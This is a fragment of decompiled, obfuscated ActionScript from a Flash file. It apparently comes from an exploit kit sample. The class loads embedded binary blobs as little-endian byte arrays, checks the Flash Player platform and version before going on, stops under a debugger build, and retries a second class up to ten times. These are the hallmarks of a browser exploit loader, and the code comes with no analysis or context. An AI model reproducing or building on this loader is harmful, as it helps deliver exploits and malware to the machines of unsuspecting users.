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package
{
import flash.display.Sprite;
import flash.system.Capabilities;
import flash.utils.ByteArray;
import flash.utils.Endian;
public class flash01 extends Sprite
{
public static var §\x1a§:Class = flash01_data12;
public static var §\x19§:Class = flash01_data13;
public static var data14:ByteArray;
public static var data15:ByteArray;
private var §\x1b§:§\x01§;
private var §\x1d§:flash10;
private var §\b§:int = 0;
public function flash01()
{
super();
data14 = new §\x1a§() as ByteArray;
data14.endian = Endian.LITTLE_ENDIAN;
data15 = new §\x19§() as ByteArray;
data15.endian = Endian.LITTLE_ENDIAN;
var data2:String = Capabilities.version;
var data3:Array = data2.replace(","," ").split(" ");
if(!(data3[0] != §\x06\x07\x06\x07§.§\b\t\b\t§(36) || Number(data3[1]) < 21))
{
this.§\x1b§ = new §\x01§(this);
return;
}
}
public function flash21() : void
{
if(Capabilities.isDebugger)
{
return;
}
this.§\b§ = this.§\b§ + 1;
if(this.§\b§ <= 10)
{
this.§\x1d§ = new flash10(this);
return;
}
}
}
}